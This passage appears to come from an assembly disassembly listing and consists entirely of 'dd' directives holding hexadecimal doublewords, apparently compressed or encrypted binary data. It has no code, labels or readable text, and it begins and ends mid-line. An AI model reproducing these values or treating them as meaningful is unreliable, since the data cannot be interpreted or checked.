5DEAC14h, 3F8CAA1Fh dd 0D65238CCh, 604448F9h, 8B02B8A6h, 641A5F48h, 3FDE030Ch dd 24077EFFh, 0FBE41A0h, 8BA40E1Ch, 8DAC5C7h, 510AFDE0h dd 81AC9890h, 0CC302EE4h, 0E2C43059h, 0F0161D69h, 7330A001h dd 5CD1F7C1h, 30CB3060h, 87F1A28Ah, 0DB003F2Ah, 2BD66BB4h dd 2435EEDh, 0C35D59B7h, 0A8A1ACF4h, 221A5342h, 140F00BCh dd 65DFB4DAh, 0BB0417EDh, 6019F8D9h, 3505E321h, 0A7480067h dd 164B8B57h, 62E1D6C8h, 91891364h, 40938822h, 0C42ABA0h dd 0EA6A5AE8h, 760078C1h, 1454807Fh, 0BDA5BAh, 357E498Eh dd 9E304897h, 0C2220B03h, 0B56E87h, 33AFD359h, 4D4CB958h dd 0A102B200h, 2F730951h, 0B8CB1211h, 7A200761h, 0D2A7D0F3h dd 0C100B0F2h, 84BFF718h, 92E3C408h, 5A77D4h, 4BD3583Ah dd 5164B19Ah, 0B688D150h, 0A3D85C0Bh, 2AE000D6h, 1599070Bh dd 204451CDh, 3112D12h, 432109Fh, 0EA608C99h, 2B8EB440h dd 0CD12B277h, 4400AB4h, 0A398A935h, 0FEE1012Ch, 1B65BFEBh dd 0B07AE0ECh, 0FB38613Bh, 0D1E3DF12h, 20BB3F0Fh, 9437065Dh dd 0AF20A7Ah, 8AC03F60h, 9F88896Fh, 0C04C1EDBh, 90CDC708h dd 18001D3Ah, 0A23D7DBAh, 1E864033h, 872B1951h, 0D2CA7AF2h dd 884403D7h, 2CE3D800h, 0A5D02AFBh, 3A6E7296h, 21E08ADFh dd 0BF2D2944h, 0F9E7A406h, 0EA19BA6Dh, 9A98002Eh, 3F5C80DFh dd 0E000DE02h, 37F10F97h, 793EF8E5h, 9DC0532h, 353A14Fh dd 0F29D20C8h, 0F08E25B9h, 0D1C48C0Bh, 5841BD88h, 20FDABF9h dd 2506F10Fh, 3D54162h, 18BC9029h, 1168F215h, 900116ACh dd 92B458EBh, 4022F4D5h, 4E7E3F00h, 9A2C462h, 405A42BFh dd 496A55A0h, 3F004C7Fh, 1C6F89A0h, 5400D117h, 4DE792D2h dd 9338810Ah, 0EECC04E0h, 5EC0823Ch, 70525A61h, 3B887D54h dd 7E25FC9Eh, 14CD0E7Eh, 736146FAh, 22B733BDh, 266B0000h dd 0CD0E2D18h, 8F2A1E67h, 17070084h, 1CB4B7B5h, 0D3F1D002h dd 80E9D559h, 0CAA6D878h, 80B45813h, 2E6AF80h, 0B51C5E01h dd 37C0C6D3h, 0A9881A6Eh, 8F030914h, 480B84Bh, 13168101h dd 0F5E339C1h, 0B88CC150h, 461B06Fh, 234A4F00h, 0C64B1CFBh dd 0A1DD00CBh, 0FABAD78Ch, 8F2E74D1h, 0AE6094ADh, 4AB2Bh dd 84F5C3C7h, 4B1D1791h, 0D1C44200h, 923615E4h, 7FE1FD45h dd 818BB413h, 0BC3856F8h, 119C5A4Ch, 204A0B3Ch, 1A7A9940h dd 0AAAD4F00h, 80DA1032h, 0C4A42Bh, 0A15EA7BAh, 29B30AF1h dd 0AD7CBD00h, 4A7554CAh, 0AEF90125h, 924746E8h, 1704226Eh dd 4E0029B4h, 0E8ACDE5Fh, 0A5F3024Eh, 6027B271h, 97C6EB81h dd 0C7EC7166h, 0EBD7890Ah, 0F540C0AAh, 6DBB812h, 0B72C8092h dd 2A009170h, 0C4FCF411h, 0B5A0BBh, 876CF297h, 0EF9D8B26h dd 46564300h, 0FC15F6D6h, 63091753h, 0CC4842C6h, 0C0C03CE4h dd 34C462Ch, 26D580ACh, 0F46DFBh, 0E94DA022h, 9C05F2ABh dd 28A8010Ah, 6828EC36h, 0CCF3C3Fh, 9111B7F3h, 0A57B018Dh dd 0CC08350Ch, 3D2429B4h, 0A78880DAh, 56221901h, 0B6F107D5h dd 506ED79Bh, 5DAC8EF9h, 7A446890h, 136CB384h, 72880243h dd 0C884E044h, 6BEC4F1Eh, 179C18A0h, 0E21B0050h, 0CEA963B9h dd 0B00B074h, 3D44B765h, 0B957098Bh, 458E3EB8h, 0BC21F256h dd 4803D408h, 0B90B89B8h, 47DED10h, 0C0C17CCCh, 0EC388114h dd 5B2AE380h, 0A039B58Bh, 1CD048E5h, 7E40FEA9h, 0EBDF5EB1h dd 3BA12590h, 0E7BF8023h, 6E8450F8h, 3474505h, 1BC330B4h dd 0BCECF83Fh, 2B71000Eh, 55F1BBE6h, 0A605FA59h, 0BFB2D7ADh dd 0E1C84C5Fh, 87E1271h dd 1D8CD318h, 72A02927h, 658C0037h, 0C291BABDh, 0D90039BBh dd 0C7AFA457h, 2CEB3ABEh, 4068887Bh, 262DDABAh, 0CA876500h dd 56A41642h, 49C0080h, 0AE627EF1h, 6C99EFD7h, 582DC681h dd 7460F44Dh, 7EC42AB9h, 8B4107DCh, 0E03CB018h, 2410E3D1h dd 0A10246EEh, 720CC269h, 508508Dh, 1D70C8BFh, 0C55C0081h dd 0F2B454BEh, 0F44A2200h, 9E2690D7h, 4F0A0CE6h, 790847A8h dd 110F4BFEh, 0E5C3125Fh, 0C0028C02h, 59ECDE98h, 0CF350EB4h dd 0F0081960h, 8D27766Ah, 0B048103Ch, 0C4120871h, 3E0056EDh dd 0F8D9495Fh, 5432078Dh, 0B0BC7D80h, 9E4120A0h, 685EC0Bh dd 31EC84CEh, 95408C8h, 0F33532AEh, 43ABFC84h, 0E0B1B9D8h dd 105AD3Fh, 0CBF64AE8h, 8E9C70D5h, 0EC59D4h, 8AA89D4Eh dd 47FD01BFh, 0DA22487Fh, 48621Dh, 0F30EED25h, 1C6D14C7h dd 0ECE83C89h, 3AC2064h, 0F44CEC03h, 0E9A791E2h, 81972C06h dd 46007D73h, 85F923D2h, 0B9E48EA8h, 0FC033C84h, 51384BD1h dd 490C480Bh, 65900487h, 0A1E48Ch, 0CEBA4D59h, 918E7A5Eh dd 0E06E9096h, 739329EBh, 4B990F4Fh, 308C0AE7h, 220C15B9h dd 118F1CCFh, 5D5001Ah, 12E3B40h, 0EB17312Ch, 0AC00E555h dd 0FFBF93DBh, 43172EADh, 47A16E54h, 70218BF3h, 2602D6ADh dd 15D07DFCh, 3CAF40ACh, 0CE78A8ADh, 4DED0F99h, 93E0095Ah dd 55D63BDCh, 1A580h, 7D9F1A85h, 7022D97Bh, 1B164500h dd 0B4C33F0Ch, 62EE8F6h, 0F58ED750h, 0C486E978h, 5147B107h dd 4F40A10Bh, 1E529E4h, 0D191A8D0h, 0D025A0A6h, 389CECA5h dd 0B903867h, 1953BF7h, 82E902F9h, 0E9292F4Ah, 806068D7h dd 0FF13E6D8h, 0E1D10055h, 0E18F05Ch, 4D0073DFh, 854AB24Eh dd 0F38F93h, 0DD3F55CDh, 0A282E10Ah, 0FB4E500h, 22431D3Bh dd 0A8E212B7h, 708400A5h, 939C55C7h, 9F65DF00h, 3292579Eh dd 6FCA0FEh, 0B20180CBh, 2404B358h, 400954A8h, 8DA4985Eh dd 5F180072h, 137E7326h, 0D4007875h, 8C0075Ah, 120BF35Eh dd 303D6EB4h, 0F128C6E0h, 0EC0001F6h, 50537DABh, 79FAF04Ch dd 0FE2D0018h, 0BDBEE4Fh, 11275DEDh, 0FFD4A76Fh, 7A141570h dd 121A07CCh, 0C7332B58h, 0FE0724Eh, 5898404Ch, 1D146508h dd 0BDDD8074h, 0CF86CDA8h, 2C93F424h, 0F9B04B00h, 27A9294h dd 0A44055E2h, 9C60FAC0h, 0FC91DF7Dh, 0AB69D580h, 761719Bh dd 6BC586E9h, 0C90F1FEh, 16331A6h, 4003F5D6h, 4EDEDB74h dd 0D82AB100h, 547E6A38h, 0F3182532h, 6E4BF378h, 7B087C40h dd 0F6ECAFh, 9C1140F7h, 0B9E1EA69h, 7052AD07h, 68BB0AE4h dd 0A1A44F0h, 57B8D415h, 0CE7E01B0h, 33F6D5A1h, 0ED54022Ch dd 726F8E58h, 71630070h, 802AF647h, 0E4032F7Eh, 0FF099B98h dd 0B0591276h, 0B9230454h, 4C8C8CD5h, 0C0D3A800h, 47B70906h dd 7658BA59h, 1458B6BCh, 4A3F9C03h, 520A5389h, 65C0F010h dd 3E44F890h, 82D09C88h, 845CC787h, 0CD3BB240h, 14865F00h dd 0B89DD5C9h, 829100D0h, 0EC4765C3h, 0C00F9D1h, 790B8429h dd 588D4F45h, 92EC3Fh, 2322B448h, 69C062F5h, 8A73D5BCh dd 315C0072h, 66FF44E9h, 86762150h, 794B6100h, 0C6FC60EAh dd 0E71B00E3h, 0B2DEE029h, 0EE000A55h, 4ECE4FDh, 0BCEB33h dd 960771B1h, 0C56F09F4h, 3500BCB9h, 38179AECh, 0F9293EBDh dd 800DA29Eh, 5F35D28h, 0B730FE98h, 8468A975h, 0E13400AFh dd 0C2448914h, 0B0906308h, 0A1F92D00h, 919D9C46h, 86E419EFh dd 875ED8C4h, 0A50BBA20h, 78E4FD84h, 73A8B815h, 673D0FAFh dd 48C27BFAh, 0C8818EC5h, 723085BBh, 0FEC0F40h, 11829C54h dd 41723FC0h, 4C40B402h, 1F0CD2Bh, 7C2EEDFCh, 0C658DC06h dd 29640060h, 3FB050EFh, 0B07E2DAh, 0C11C743Ch, 1A663980h dd 30F64889h, 0DEAD5280h, 8A4BDA0Dh, 4FC2D847h, 3EEF5620h dd 0B8B11Dh, 1CE7785Bh, 0AE0081E2h, 0BC3C71ACh, 5CE5275Dh dd 6A05E0E6h, 0E0FDA5F1h, 0B730FC40h, 5ABCB176h, 1A2B136Eh dd 24860053h, 0FCED157Bh, 0D002327Ah, 85A7C8E3h, 9938E34Ch dd 4822570Ah, 0CE4211Fh, 0D585060h, 0E4406E4Bh, 6A24CD76h dd 75AF0069h, 4ECC268Dh, 0F300E713h, 0ED300CA4h, 4A8E83CBh dd 9E3090F6h, 6E00E89Dh, 0DD3D934Eh, 622EE65h, 0B4D060DCh dd 0C91EB1D8h, 17409CC8h, 3DF0C5F6h, 2A72094Eh, 0F0884902h dd 2386006Ch, 556E8EABh, 2D087D00h, 0C421C79Ch, 0B971C068h dd 1C1681D9h, 0E727A400h, 74EE0BE1h, 6F860080h, 4E82AABAh dd 710985B4h, 80ABA522h, 0B693FA0Dh, 2E547A46h, 60C08110h dd 0CA16EC9h, 0B4309F7Ch, 25AB89EEh, 38DF0041h, 0B2437DD7h dd 0C8F0D377h, 9B61A00h, 28FD952Eh, 4F24A06Ah, 0E2630012h dd 222FB87Fh, 0E42608CEh, 0C84020C4h, 0E2DC42h, 0BFA8A3D5h dd 0A2AF52DAh, 33D4D20h, 1462E812h, 10044560h, 6D2A8773h dd 990A68E2h, 11D87170h, 37DD0096h, 75058198h, 0DE472512h dd 63F8A010h, 83F6AB00h, 0BBBD8629h, 14DA00F0h, 0BAEAD44h dd 7116E89Fh, 3C88F2F6h, 7EE094h, 672608E7h, 6D9F8E1Eh dd 0A9B59C00h, 0F5D019ABh, 0E851482Ah, 340556C0h, 6B009BCBh dd 33906E49h, 2F3C70h, 0EA7C4B1Dh, 0A619BBAAh, 8779F8B0h dd 78B89E04h, 10B91D64h, 214ED100h, 0E60D5250h, 0E29A3D09h dd 33C660Ah, 67816F56h, 3EB8F2A3h, 11004DF5h, 697F3CCDh dd 27F4A85Dh, 0B0A06DABh, 7890168Ch, 0A082FB2Ch, 0B580A31Dh dd 358F4FB6h, 9DE0DF8h, 40613157h, 5A1CC040h, 212A11C0h dd 0F9FB48h, 0CEA54DE1h, 0C354EFFEh, 4C46DC00h, 1DD8A3B4h dd 0FF31C025h, 69663AE2h, 0A0730D0Eh, 25C20D2h, 7135C29Eh dd 598202A7h, 77B4B232h, 94AA9CA0h, 1D5468B7h, 0ED00A324h dd 29152BC4h, 0E6DB10h, 0A0D123C0h, 533B3E13h, 0D73D6003h dd 9D5B6590h, 0F0FC0480h, 17297CB5h, 0C1EA5749h, 2836EC00h dd 8B3EC070h, 18E2FA9h, 0DCCE3D59h, 68B7D414h, 0CFA9C028h dd 12D54D4Bh, 0B23C7290h, 0F59F0154h, 0F2CB43D6h, 460FFD7h dd 2E814FAh, 0B411F3F4h, 1C7AF78Eh, 5DB69E0Fh, 68600CDh dd 145F11ACh, 0B01A5BCFh, 0ADF9C09Fh, 92215360h, 9390C600h dd 0D1D2B10Ch, 614A0032h, 0D5AA7ED6h, 8700C762h, 8527801Fh dd 743F070Bh, 55040F8Dh, 9219D49h, 22B724FCh, 0B28E00DCh dd 3743A1E2h, 0D09800DCh, 598AED97h, 22093591h, 5F5AEF9h dd 0C02CB0h, 2718ABB7h, 68A0C4CEh, 95FD8802h, 0C9343001h dd 53FC57DDh, 783820h, 56E24CDCh, 29A5F336h, 9C438000h dd 82EA1D9Eh, 703390D5h, 57E9C2D4h, 94C43BDFh, 0B2A1E000h dd 7EDE6298h, 4C8C09CBh, 0F4091D76h, 4B0198C4h, 5A11ECFBh dd 683CCDD5h, 0EB8BDC0h, 0D2002562h, 0C65AC73Dh, 1CF86812h dd 82A6D674h, 0AA2BC269h, 0A4CD50C0h, 4DE4E600h, 33E15826h dd 0C4B701D7h, 804F716h, 0D3EAF054h, 5B3F19C0h, 0E2DC64F2h dd 0D5B63E27h, 0FB3B400h, 0AD259FD8h, 0ECAB0400h, 6AD2D4AAh dd 777C0052h, 0B9247857h, 5400DCEBh, 0B4EC99BFh, 6F931E7h dd 0C52DF2B3h, 0CC60E25Eh, 1BE62F69h, 376F0AE4h, 70C5B28h dd 4CD53FC4h, 2B005778h, 69980DA7h, 0C7CCDCBCh, 0A0924819h dd 918316B2h, 2BB1A700h, 0B49063A3h, 6ABA02CCh, 6F3C531Fh dd 6DA80063h, 3033C516h, 0E07141D0h, 0F0C5E81h, 0F6B4F7A1h dd 14FE6F2Ah, 0F11DF7F5h, 451D0F69h, 3698D66Ch, 3223F900h dd 3EB5DF5Fh, 6A1C010Ch dd 0BBC55E2Bh, 8FA011DAh, 606480DAh, 1DA2FA3Bh, 408A34A8h dd 81F0F5Ch, 0C801A016h, 0F49E1730h, 9080C259h, 37CF916Eh dd 0AB3B80A1h, 483C30FFh, 1E3594D5h, 408CFE19h, 7663992Dh dd 69C0D88Fh, 7A7BEC41h, 9DBB01B0h, 29E9F5FAh, 0B7B98F2Eh dd 0FC12C0F6h, 60F4A5F8h, 0EE461991h, 83000476h, 49D3A8CDh dd 0AB25B3C5h, 16AF3F8h, 745FEA29h, 0EF8C54B7h, 8A1C29B8h dd 7D612802h, 2393A80Dh, 0F39057F5h, 38015821h, 0B29F6127h dd 0F03BA189h, 0CB383FA9h, 805B07B9h, 4EA02213h, 0A0D9D40Dh dd 247A5920h, 40442E26h, 9E1DB310h, 0FC02A5FAh, 26802D68h dd 660440Dh, 710FC655h, 0EE0011C7h, 647B3991h, 0F71176h dd 737595ADh, 44D7DCEAh, 0FCA45900h, 792A1C2Ch, 39D2608Fh dd 8994BE30h, 46E80400h, 8BC9F2ADh, 1B3F0B4Fh, 0A080BCFCh dd 1C959DEAh, 0EE02C403h, 28DE510Eh, 2470B9h, 3BB15672h dd 9020913Ch, 0B6983900h, 0FA48D088h, 0EA31017Dh, 415707D1h dd 0EDC9D4DDh, 2A67C33Ch, 0A506F401h, 27CF2CE2h, 477E11h dd 0DF35D484h, 26E40EFCh, 13008174h, 431DE11Eh, 0FA12FFA1h dd 0CF9D18C0h, 0B0D23905h, 0E0A9FD04h, 0C4801669h, 38AB818Bh dd 2D986D0Ch, 0EEE329EAh, 0F1C98863h, 3ECBD01Bh, 1E9000FCh dd 0FD6F93D3h, 2A04BCA8h, 530972DBh, 7EF0A887h, 98EB29CCh dd 0E2EC221Ch, 8C15BC3Ch, 613BCE19h, 6EDCA0CFh, 878000A8h dd 2796A5B1h, 26113EB8h, 7200D7EFh, 527C854Ah, 0EC4C289Eh dd 62568004h, 3A78B37Fh, 2D81719Bh, 0B04B57D0h, 289C20F8h dd 4CE0AF38h, 73FD1245h, 0B3A28820h, 829E011Eh, 0B43E4988h dd 0E4232Eh, 814B934Ch, 0DAA852h, 0CE5E7140h, 0B2CFB995h dd 0DB1BB9C0h, 0E0A02Bh, 0A6F54DA8h, 245AED8Ah, 17739103h dd 9B08A43Eh, 0D89DB0DCh, 0C7FC730Eh, 93956661h, 11009446h dd 17BE3AAh, 4A48E61h, 86C5A0E2h, 5618D1CFh, 0CCA3E184h dd 0C33828A8h, 0DCE40DA4h, 4D021D2h, 0C9620457h, 0C2DD94F4h dd 9D20D930h, 0DBEF7Fh, 0C1F10E08h, 71F97EBEh, 3DDF10A0h dd 7BBF854Ch, 9879C900h, 7F605DC7h, 0B28B03EAh, 92A80E09h dd 7CA948h, 37DA174h, 26B440BAh, 404023CFh, 62151D80h dd 0B2F9E400h, 0F2A20136h, 467D0010h, 3ABDA42Eh, 4F310ED9h dd 0D17051C1h, 45E38993h, 80923794h, 11EE3FAEh, 0AB57007h dd 0AD60B235h, 9C5178Ch, 9810FF16h, 0C981342Eh, 201FA6A7h dd 20C49D8Ch, 0B0C8708Bh, 662060Ah, 0D6E6F0B8h, 997D9E0Bh dd 0E43403D5h, 84A4B80Dh, 0BFB4F01Bh, 0C99793E0h, 3A387F71h dd 7357039Dh, 0D1111976h, 0B98566EEh, 0C7303F62h, 0E23CA088h dd 7C0ECF35h, 6450D24Fh, 40C81226h, 8CAA04F3h, 14375766h dd 8EFC03E0h, 0D865522Fh, 62C0A6Fh, 0F45ACB19h, 1C0E6186h dd 0A03FFFE5h, 3ED19C12h, 0CB5E00B8h, 5D2BC867h, 58F0ECA4h dd 0FE589F72h, 9E70030Ch, 3AAD8F77h, 0B1803A79h, 7C7F23CDh dd 0B0626066h, 4855DB81h, 3CB4851Ch, 590B2230h, 2C808A48h dd 3677AC07h, 2646860Ch, 33B79114h, 7F4129CDh, 0A080FBC8h dd 0A59B5F02h, 40BCC3EEh, 84954F14h, 868940Fh, 0A42A22F7h dd 278C606Dh, 204995Bh, 95E4BF3h, 69E5D881h, 0CD51145h dd 149DEDBh, 0BE8E794Ch, 0D063CCFEh, 0ADB0AB21h, 2EEB4300h dd 0D1FB6A29h, 2C365428h, 0C906205Dh, 7F0A8F03h, 2CD6FB0Dh dd 6098A451h, 0C02B073Ah, 0CC053E00h, 0BC99ED7Fh, 81200972h dd 94925A6Dh, 82CF34A0h, 48E937AFh, 4A008184h, 0E9A4CFBh dd 0F4BC5D97h, 7627061Fh, 91C68F63h, 6667101h, 6F348452h dd 3BA103C4h, 328EF356h, 66C0FDC7h, 7AF07CA5h, 0CFD9FF13h dd 46708C20h, 0B6FE418h, 0DCD07348h, 74044C90h, 7D87CA04h dd 18C04C38h, 0C00ECE9Fh, 4D8E4439h, 2C04A2D1h, 57343CD4h dd 0D87FC683h, 0C02ACF15h, 0A3E6CE29h, 2D1ED9AAh, 49809F6Bh dd 92A50983h, 0DA7495h, 0FB5A8BDh, 6465984Dh, 0F6DB6D00h dd 0CFE3ECB3h, 0D824A3BFh, 0EA12C6h, 8B59A065h, 5394501Bh dd 0D413262Ch, 0A0C1F345h, 95D0CA9Dh, 94710051h, 0D03D6686h dd 0CF5047D4h, 0EF006C60h, 0D821B3BDh, 13CCA8Ah, 333E758Eh dd 307EC0CDh, 3A08DF24h, 8066EE0Eh, 2D937A09h, 213AB58Ah dd 0E5798096h, 256D6601h, 1EC9189Dh, 383DC259h, 0A011700Eh dd 5402960Ah, 648E1339h, 35250318h, 5D91321Dh, 29F322F0h dd 2FE620h, 7E3E168Fh, 0A5EF3F8Ch, 84C29701h, 0D47996A4h dd 17611420h, 0A1F0C7h, 379D44D8h, 0E26C4156h, 4C850810h dd 69265406h, 0CF848658h, 3300F90Dh, 4A17BEBAh, 0B50BDBh dd 46FCEAC0h, 94297C4Bh, 116F5203h, 891BB27Eh, 0DE8CE3F7h dd 3E41325Ah, 57F47200h, 0F650B0DAh, 9CFC0253h, 0D23B39F1h dd 1FE6F0C0h, 8EF6BFB0h, 773C84B1h, 6000C0F4h, 0A462303Bh dd 610D28E6h, 3D0521E0h, 68239Dh, 0E8BD6EEh, 90D46624h dd 20DF013Ch, 0FF7095Fh, 0E79440C3h, 0A80A700Dh, 50536945h dd 0BD980E05h, 765CCCh, 7845544Fh, 0E3A3AB56h, 0FC5D4B00h dd 27B72A7h, 0F817260Eh, 0BEE20CD0h, 694CFE58h, 4D0D0A4h dd 0F43C2449h, 74E018C8h, 0F5F7002Ch, 0D5FCB27Ah, 900E345h dd 855E93DFh, 11A3FE97h, 240EEA26h, 4C403CCDh, 1CDF42h dd 19E79F8Bh, 8378EE85h, 0E315914h, 0DA82C0D4h, 3B401935h dd 8700CDD9h, 1EA0E6Dh, 1D1216D1h, 0F088630Fh, 0AD8D3842h dd 3A4E0D00h, 0A0C1CFBCh, 0DB6AE416h, 5B20E020h, 534C2667h dd 4041184h, 0EADB3BB4h, 95F467C0h, 0BEBF28C2h, 0AE8F02E4h dd 76C00D98h, 7D8A6CE0h, 81A4EE0Bh, 0C3F099DBh, 0B691ED8h dd 536DE222h, 9051E892h, 3C4C803Bh, 30A8216Ch, 7E7500C5h dd 0A326319Ah, 8A7E4E45h, 48685E64h, 8873E305h, 0FE004CD8h dd 77B41D67h, 2EF531h, 14F099A1h, 20CADB6Ch, 90E03Eh, 0F767D057h dd 0C77BBBC5h, 849CD479h, 9568C83Fh, 0E5267D0Eh, 0F90C8073h dd 0EA631EBFh, 10812CC0h, 0D6112Ch, 4C07F4A0h, 17F2819h dd 5354139Ah, 222F6D75h, 0BD047934h, 0CA20BA99h, 2006F8C2h dd 728C4A0Bh, 24927A01h, 81FC5763h, 2060D9CDh, 0B1CE88DDh dd 0AD5F31C0h, 9A0427h, 0E8757C81h, 2F1EAEE5h, 44132500h dd 3EF46D78h, 24EE5CC5h, 0A0D054h, 9650FCA4h, 6ABE6D1Ah dd 0DF4BD3FCh, 0A6B10470h, 0F31A0037h, 0C20DC4A0h, 66005726h dd 9715F217h, 1CBA10Ch, 0D7AA0744h, 0FBD25616h, 8EB97798h dd 2405D42Eh, 3685A404h, 9B1CD0A2h, 0AF3700DBh, 0E89F0D03h dd 22953400h, 56B7A00Ch, 8F30B1CCh, 316FBA80h, 0C0724104h dd 0C03297ACh, 0C4500E3Ah, 0F38C0258h, 0DCBD5695h, 0DE004852h dd 8EA355CCh, 1873D62Dh, 0D9C85B26h, 0D963B4C4h, 69EF29h dd 5977A149h, 7A2F704Dh, 0A3A5C509h, 3C640731h, 0DA0D2611h dd 34022054h, 0A4D61328h, 1021610Ch, 0F5A908CCh, 0E052EF12h dd 4A8E7C00h, 121A0EAh, 0E4DC058Ch, 0C316657Ah, 9D01F0Ch dd 4CB89D54h, 0E4754428h, 8F78A00Ch, 3BA59D0h, 2A871FFDh dd 0E5B091F3h, 0B200D626h, 0FE7D4BBDh, 0E26DBEF7h, 0D531C144h dd 51E928F8h, 14D98558h, 18854CCh, 2622658h, 60FB3B37h dd 0A71D82C7h, 0D3532F01h, 10B47409h, 2CEF988Ch, 1C9480DEh dd 0AA69302Dh, 413298Eh, 0C48026DBh, 7534F3Fh, 0C1E899E2h dd 87A7F595h, 0C02D94E4h, 6CA3F318h, 4900A498h, 0FA81C957h dd 929CE6Eh dd 500C7061h, 0A40A54C5h, 2F00944Bh, 0FDD320Eh, 0D5E272h dd 8A09CF0Ah, 6B92B89Eh, 62455700h, 71E61473h, 5B7A287Eh dd 30594BA8h, 869B2770h, 56687203h, 0C8705553h, 5C4AFFB2h dd 7180C8CEh, 6CDC62E8h, 8000337Dh, 117F64E4h, 0E3E54E1h dd 0C4357AECh, 0F0E5D83h, 1A1C4BC0h, 8F7412FAh, 0E6AA1B09h dd 3D7C648Eh, 3580A49Fh, 0FFD107F8h, 6618E944h, 0A5713645h dd 0CB710984h, 50E8F43Eh, 0BA77158Eh, 852DED00h, 5EEC45E6h dd 29C60025h, 0FF4D1A5Bh, 0E496A50Eh, 4871649Dh, 94303909h dd 0AAF6022Dh, 8EC51ED2h, 783C4C44h, 0C9A81837h, 3A7F7111h dd 7C4C27C1h, 466020Ch, 4848B968h, 576F0045h, 691F5491h dd 83FC9C44h, 6A0C00Eh, 0B4514EA2h, 5226F63Ah, 5308A81Ch dd 7E770EB6h, 2244EC02h, 388EDC60h, 45635913h, 3B3D1420h dd 0B33A0027h, 0AE74CF93h, 5400F4B1h, 2E94628Bh, 300A92B6h dd 9A316CEEh, 963EC0A1h, 8261BEE3h, 0C28A4727h, 85CC8E86h dd 688D08D1h, 17294BF8h, 0A4C94Fh, 0F149FC74h, 7F036F5Eh dd 0F4FD4641h, 0BF86D128h, 78DC5021h, 0D4761FF8h, 0D5D4FA5h dd 0EE3BB922h, 593ACC90h, 0F68F0A02h, 82CA8549h, 255EA9B0h dd 9B00C8EEh, 36E84A00h, 6ADD22B0h, 0F79A0090h, 63D10208h dd 40118E7h, 5C37BDABh, 8C606A66h, 560E883Bh, 378434B4h dd 98824380h, 8C4CFh, 938F53BCh, 6062D10Bh, 51B60300h dd 899972B2h, 94D2009Fh, 980D7810h, 4C01EC4Ah, 685921B3h dd 0A872EF26h, 0B4DD7776h, 66380B0h, 8C2AF896h, 10FB0D27h dd 0EE6957B4h, 0DA631817h, 25A4E9DBh, 26728F00h, 2769A0CAh dd 0C2500064h, 37949A9Ch, 3A00D83Dh, 49C8BFCCh, 97E2955h dd 0DB33DEA5h, 30319C41h, 3500F6A4h, 561047F9h, 26C5FA90h dd 1218B2E3h, 0D4140767h, 0CCD14471h, 970012A8h, 94B399BFh dd 7C683C0Fh, 0F4742CF5h, 0C76E0FA0h, 1492A501h, 544892B3h dd 8EFA3C04h, 31B48E4h, 0A1940517h, 0A4E53F2Ch, 9700BEC8h dd 6D1FC06Ch, 94CC20h, 0B9BA3905h, 0FFE9F3D5h, 3C640C38h dd 0C8A90057h, 0B7567504h, 1DAA139Ah, 7A0804C0h, 95248314h dd 6179A790h, 0A00F2B06h, 1C1AEEDh, 807B8CCCh, 2092865Ch dd 0C60F60BCh, 323C3664h, 0E5417437h, 3060F28Fh, 26350031h dd 0C5929F30h, 40B4894h, 0F53EF69h, 54DB64F4h, 0E09CB890h dd 0C47F005Bh, 0FA5AC01Eh, 0D8FFAE6Bh, 4C1256C2h, 0BCC8BEA8h dd 44EF0009h, 0F452B85Eh, 73002C25h, 16405767h, 202BCA8h dd 4F3E8556h, 404692B0h, 8C1E96E6h, 9F931A30h, 0EC2C600h dd 43DD2Fh, 80B2768Eh, 28F53D6Dh, 0E020155Eh, 608E1F5Eh dd 722D11C5h, 0EC00BEF9h, 91EDD3EAh, 31A3BD4h, 6D636FC9h dd 712FB456h, 76EC21DBh, 92E8228Eh, 95B78B5h, 0F80545A2h dd 0A6ED78Ah, 0F81D78h, 0EAA0588Ch, 94EAF03h, 96C30008h dd 0F1490CEh, 5A002B40h, 5FC9AA91h, 1F8892Ch, 0DB81887h dd 8029DB75h, 315DB379h, 38886B6Eh, 8A00462Ah, 0FEEA95Eh dd 0FA05B4F7h, 7A299CCCh, 18D7050h, 0FE0395Fh, 0DE707B87h dd 183428F7h, 91EB05D0h, 4090EDABh, 33C5AF8h, 0CC01F5C2h dd 0F4C7AC58h, 0C426510Eh, 0E87EBD3Eh, 8E680044h, 61287526h dd 91DA7Eh, 0B70ED900h, 2C1AE7h, 0CAF1E67h, 0FD3BA9D2h dd 725C7F00h, 29F64DE2h, 167C912Eh, 0C27C20CDh, 0F0003ADCh dd 89377239h, 481E9F0Bh, 9726A408h, 0A06900B0h, 5BF75EC5h dd 2E029000h, 0EAB4C77Dh, 0FFE4CEh, 4D57BF9Eh, 0B8F6EFBAh dd 0A7FA7177h, 1D3BEE00h, 3FFAD512h, 73D10538h, 88F454B5h dd 0E43C9FCCh, 89E100FBh, 75577874h, 0BD9E1883h, 3C97E9A7h dd 0C551E20Bh, 0B49ABCh, 0BB6AD320h, 0C5951712h, 6D9CCC8Dh dd 0C970124h, 0EB235D02h, 0B894C0F6h, 0C45406BCh, 28C33D67h dd 8A1DE0EAh, 93DEA60h, 1028CF6Fh, 0E9ADFD78h, 34319FE9h dd 0CBB6EE4h, 8D450FF5h, 2A013A81h, 68CAC3EDh, 2EC4BD76h dd 4070EB1Dh, 366E09D0h, 649AE6CFh, 0BB0B0A40h, 74F27E00h dd 38A694DDh, 7CF74C4Ch, 0F5A49E3Bh, 86610B5Ch, 0B6079444h dd 0AF7E8741h, 0F0DDAE33h, 27AAF777h, 0A420708Dh, 0C34E07FEh dd 65807603h, 0D11726A3h, 2B10C68Eh, 0F73CCE52h, 376C0079h dd 0ADED3596h, 0E6540098h, 84F93EAEh, 75EAE7B6h, 4058E490h dd 0F8F70B40h, 57B4E8EFh, 41BB00CCh, 7211757Fh, 6404FF8Eh dd 82C517D2h, 867890A2h, 4AC03042h, 220903CBh, 90B84800h dd 27E33FF7h, 5178035Bh, 3EDE9455h, 2D596981h, 0C43851ACh dd 7A186F97h, 3661AF8Fh, 56640076h, 0C603F741h, 8A00B4FCh dd 556D7125h, 907609C7h, 3D870B24h, 5C6168E2h, 2805D325h dd 75527A9Eh, 2A45F002h, 6FB478D9h, 4A202038h, 7D6F54F8h dd 263DB00Eh, 4D0DA579h, 0FFF380D8h, 0CF27A30h, 262F6D64h dd 24F5DCB1h, 0F00D4D0h, 7DA65069h, 1EE8CF37h, 508F4D3h dd 20DC1774h, 5D3124F4h, 0DBE5FB00h, 144832A1h, 0B0C80457h dd 0C0569B38h, 0D40C70FCh, 301740A1h, 1603F67Ch, 81FC54F7h dd 0B056DF85h, 9473FCC8h, 175D8748h, 0E604E034h, 0DA002B5Ch dd 167DDD11h, 943837CDh, 13BE60FCh, 60182418h, 4A41AD70h dd 0C74802BAh, 167886D3h, 24009446h, 35D5687h, 0A23A7D70h dd 